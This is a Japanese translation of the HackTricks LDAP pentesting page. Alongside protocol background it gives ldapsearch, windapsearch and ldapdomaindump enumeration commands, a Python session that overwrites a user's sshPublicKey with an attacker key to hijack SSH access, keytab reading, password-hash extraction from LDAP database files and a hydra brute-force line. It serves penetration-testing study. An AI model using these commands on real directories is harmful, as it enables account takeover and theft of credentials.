hacktricks/network-services-pentesting/pentesting-ldap.md
2023-07-07 23:42:27 +00:00

20 KiB
Raw Blame History

389, 636, 3268, 3269 - LDAPのペンテスト

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

基本情報

抽出元:https://searchmobilecomputing.techtarget.com/definition/LDAP

LDAPLightweight Directory Access Protocolは、ネットワーク上の組織、個人、およびファイルやデバイスなどの他のリソースを、パブリックインターネットまたは企業内ネットワーク上で検索できるようにするソフトウェアプロトコルです。LDAPは、Directory Access ProtocolDAPの「軽量」コード量が少ないバージョンです。

LDAPディレクトリは、多くのサーバに分散されることがあります。各サーバは、定期的に同期されるディレクトリのレプリケーションバージョンを持つことができます。LDAPサーバはDirectory System AgentDSAと呼ばれます。ユーザからのリクエストを受け取ったLDAPサーバは、必要に応じて他のDSAにリクエストを渡しますが、ユーザに対して単一の調整された応答を保証します。

LDAPディレクトリは、次のレベルで構成される単純な「ツリー」階層で組織されています

  • ルートディレクトリ(ツリーの開始位置またはソース)から分岐する
  • 国、それぞれが分岐する
  • 組織、それぞれが分岐する
  • 組織単位(部門、部署など)、それぞれが分岐する(プリンタなどの共有リソース、ファイル、人物を含むエントリが含まれます)

デフォルトポート: 389および636ldaps。グローバルカタログActiveDirectoryのLDAPは、デフォルトでポート3268および3269のLDAPSで利用できます。

PORT    STATE SERVICE REASON
389/tcp open  ldap    syn-ack
636/tcp open  tcpwrapped

LDAPデータ交換形式

LDIFLDAPデータ交換形式は、ディレクトリの内容をレコードのセットとして定義します。また、更新リクエスト追加、変更、削除、名前変更も表現することができます。

dn: dc=local
dc: local
objectClass: dcObject

dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization

dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev

dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales

dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
  • 1-3行目では、トップレベルドメインlocalを定義しています。
  • 5-8行目では、ファーストレベルドメインmoneycorpmoneycorp.localを定義しています。
  • 10-16行目では、2つの組織単位devとsalesを定義しています。
  • 18-26行目では、ドメインのオブジェクトを作成し、値を属性に割り当てています。

データの書き込み

値を変更できる場合、非常に興味深いアクションを実行できる可能性があります。たとえば、自分自身または他のユーザーの「sshPublicKey」情報を変更できる場合を想像してみてください。この属性が存在する場合、おそらくsshはLDAPから公開鍵を読み取っています。ユーザーの公開鍵を変更できれば、パスワード認証がsshで有効にされていなくても、そのユーザーとしてログインすることができます。

>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})

平文の資格情報をスニッフする

LDAPがSSLなしで使用されている場合、ネットワーク上で平文の資格情報をスニッフすることができます。

また、LDAPサーバーとクライアントの間のネットワークでMITM攻撃を実行することもできます。ここでは、ダウングレード攻撃を行い、クライアントが平文の資格情報を使用してログインするようにします。

SSLが使用されている場合、上記で説明したようにMITMを試みることもできますが、偽の証明書を提供することで、ユーザーがそれを受け入れる場合、認証方法をダウングレードして再び資格情報を表示することができます。

匿名アクセス

TLS SNIチェックのバイパス

この解説によると、任意のドメイン名company.comでLDAPサーバーにアクセスするだけで、匿名ユーザーとしてLDAPサービスに連絡し、情報を抽出することができました。

ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +

LDAP匿名バインド

LDAP匿名バインドは、認証されていない攻撃者がドメインから情報を取得することを可能にします。これには、ユーザー、グループ、コンピューター、ユーザーアカウント属性、ドメインのパスワードポリシーの完全なリストなどが含まれます。これはレガシーな設定であり、Windows Server 2003以降では、認証されたユーザーのみがLDAPリクエストを開始できるようになっています。
ただし、管理者は特定のアプリケーションを匿名バインドを許可するように設定する必要があり、意図しない範囲以上のアクセス権限を与えてしまい、認証されていないユーザーがAD内のすべてのオブジェクトにアクセスできるようにしてしまう可能性があります。

有効な資格情報

LDAPサーバーにログインするための有効な資格情報がある場合、次のコマンドを使用してドメイン管理者に関するすべての情報をダンプできます

ldapdomaindump

pip3 install ldapdomaindump
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]

Brute Force

列挙

自動化

これを使用すると、公開情報(ドメイン名など)を表示できます。

nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials

Python

PythonによるLDAP列挙を参照

Pythonを使用して、資格情報の有無に関係なくLDAPを列挙することができます: pip3 install ldap3

まず、資格情報なしで接続してみてください:

>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
>>> connection.bind()
True
>>> server.info

もし前の例のようにレスポンスがTrueである場合、LDAPのいくつかの興味深いデータ(例えばネーミングコンテキストドメイン名)を以下から取得することができます:

>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN

一度命名コンテキストを取得したら、さらに興味深いクエリを実行できます。この単純なクエリは、ディレクトリ内のすべてのオブジェクトを表示します。

>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries

または、ldap全体をダンプします:

>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries

windapsearch

Windapsearchは、LDAPクエリを利用してWindowsドメインからユーザー、グループ、コンピュータを列挙するための便利なPythonスクリプトです。

# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users

ldapsearch

ヌルの資格情報をチェックするか、資格情報が有効かどうかを確認します:

ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839

もし「bind must be completed」というメッセージが表示された場合、それは資格情報が正しくないことを意味します。

ドメインからは、次のようにしてすべての情報を抽出することができます:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given

ユーザーを抽出します:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"

コンピュータを抽出します:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"

私の情報を抽出します:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Domain Adminsを抽出します:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

ドメインユーザーを抽出します:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Enterprise Adminsを抽出します:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Administratorsを抽出します:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"

リモートデスクトップグループを抽出します。

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"

パスワードにアクセスできるかどうかを確認するには、次のクエリの実行後にgrepを使用することができます。

<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"

pbis

ここからpbisをダウンロードできます: https://github.com/BeyondTrust/pbis-open/ 通常は/opt/pbisにインストールされます。
Pbisを使用すると、基本情報を簡単に取得できます。

#Read keytab file
./klist -k /etc/krb5.keytab

#Get known domains info
./get-status
./lsa get-status

#Get basic metrics
./get-metrics
./lsa get-metrics

#Get users
./enum-users
./lsa enum-users

#Get groups
./enum-groups
./lsa enum-groups

#Get all kind of objects
./enum-objects
./lsa enum-objects

#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done

#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done

#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
echo "$line";
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
echo "======================"
done

グラフィカルインターフェース

Apache Directory

ここからApache Directoryをダウンロードできます。ここにこのツールの使用例があります

jxplorer

LDAPサーバー用のグラフィカルインターフェースをここからダウンロードできます

デフォルトでは、_ /opt/jxplorer_にインストールされます。

Kerberosを使用した認証

ldapsearchを使用して、パラメータ-Y GSSAPIを使用して、NTLMではなくKerberosに対して認証することができます。

POST

データベースが含まれているファイルにアクセスできる場合_ /var/lib/ldap_にある場合があります。次のコマンドを使用してハッシュを抽出できます。

cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u

johnにパスワードハッシュを提供することができます'{SSHA}'から'structural'まで、'structural'を追加せずに)。

設定ファイル

  • General
  • containers.ldif
  • ldap.cfg
  • ldap.conf
  • ldap.xml
  • ldap-config.xml
  • ldap-realm.xml
  • slapd.conf
  • IBM SecureWay V3 server
  • V3.sas.oc
  • Microsoft Active Directory server
  • msadClassesAttrs.ldif
  • Netscape Directory Server 4
  • nsslapd.sas_at.conf
  • nsslapd.sas_oc.conf
  • OpenLDAP directory server
  • slapd.sas_at.conf
  • slapd.sas_oc.conf
  • Sun ONE Directory Server 5.1
  • 75sas.ldif

HackTricks 自動コマンド

Protocol_Name: LDAP    #Protocol Abbreviation if there is one.
Port_Number:  389,636     #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
LDAP (Lightweight Directory Access Protocol) is a software protocol for enabling anyone to locate organizations, individuals, and other resources such as files and devices in a network, whether on the public Internet or on a corporate intranet. LDAP is a "lightweight" (smaller amount of code) version of Directory Access Protocol (DAP).

https://book.hacktricks.xyz/pentesting/pentesting-ldap

Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}

Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x

Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts

Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"

Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥